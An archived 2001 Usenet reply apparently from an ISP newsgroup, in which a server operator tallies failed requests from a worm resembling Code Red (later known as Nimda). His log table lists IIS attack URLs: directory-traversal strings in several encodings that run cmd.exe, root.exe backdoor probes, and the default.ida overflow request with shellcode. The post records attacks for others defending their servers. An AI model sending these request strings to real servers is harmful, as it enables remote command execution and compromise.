Article View: best.general
Article #106Re: Code Red like thingy
From: Joe Smith
Date: Thu, 20 Sep 2001 22:39
Date: Thu, 20 Sep 2001 22:39
34 lines
3048 bytes
3048 bytes
In article <3BA95FE4.B1BA681B@superkids.com>, Andrew Maisel <andrew@superkids.com> wrote: >This thing looks pretty big. Yesterday's much abbreviated hit logs >contained an amazing number of 404 errors in response to all the port >scans this thing was generating just between 9pm and 3am... Looking at the last two night's log files, it looks like I got hit by 500 attacks, each attack attempting 16 slightly different URLs. -Joe count 404_not_found_url 540 /scripts/root.exe?/c+dir 527 /MSADC/root.exe?/c+dir 514 /c/winnt/system32/cmd.exe?/c+dir 508 /d/winnt/system32/cmd.exe?/c+dir 502 /scripts/..%255c../winnt/system32/cmd.exe?/c+dir 497 /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir 491 /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir 489 /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 487 /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 478 /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir 475 /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir 472 /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir 467 /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir 466 /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir 462 /scripts/..%252f../winnt/system32/cmd.exe?/c+dir 462 /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir 58 /favicon.ico 45 /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 14 /inwap/... (out-of-date bookmarks) 9 /mf/reboot/... " " 8 /pdp10/... " " -- See http://www.inwap.com/ for PDP-10 and "ReBoot" pages.
Technical Details
Message-ID:
<9odr7o$2gav$1@nntp1.ba.best.com>Path:
arc1-ca.pugleaf.net!archiver1.google.com!newsfeed.google.com!sn-xit-02!supernews.com!newsfeed.direct.ca!look.ca!news-peer-west.sprintlink.net!news.sprintlink.net!enews.sgi.com!news1.best.com!nntp1.ba.best.com!inwapReferences:
<9o7r08$1j0a$1@nntp1.ba.best.com> <3BA95FE4.B1BA681B@superkids.com>Show Full Headers
Complete Article Headers
X-Google-Language: ENGLISH,ASCII-7-bit X-Google-Thread: 11488e,6d6dc19bb3785e88,start X-Google-Attributes: gid11488e,public X-Google-Thread: f669e,6d6dc19bb3785e88,start X-Google-Attributes: gidf669e,public X-Google-Thread: f9f6d,4580ff6de66c0e8d X-Google-Attributes: gidf9f6d,public X-Google-ArrivalTime: 2001-09-20 15:39:58 PST Path: arc1-ca.pugleaf.net!archiver1.google.com!newsfeed.google.com!sn-xit-02!supernews.com!newsfeed.direct.ca!look.ca!news-peer-west.sprintlink.net!news.sprintlink.net!enews.sgi.com!news1.best.com!nntp1.ba.best.com!inwap From: inwap@best.com (Joe Smith) Newsgroups: best.general,best.bugs,best.www Subject: Re: Code Red like thingy Date: Thu, 20 Sep 2001 22:39:52 +0000 (UTC) Organization: Chez Inwap Lines: 34 Distribution: best Message-ID: <9odr7o$2gav$1@nntp1.ba.best.com> References: <9o7r08$1j0a$1@nntp1.ba.best.com> <3BA95FE4.B1BA681B@superkids.com> NNTP-Posting-Host: shell3.ba.best.com X-Trace: nntp1.ba.best.com 1001025592 82271 206.184.139.134 (20 Sep 2001 22:39:52 GMT) X-Complaints-To: abuse@best.com NNTP-Posting-Date: Thu, 20 Sep 2001 22:39:52 +0000 (UTC)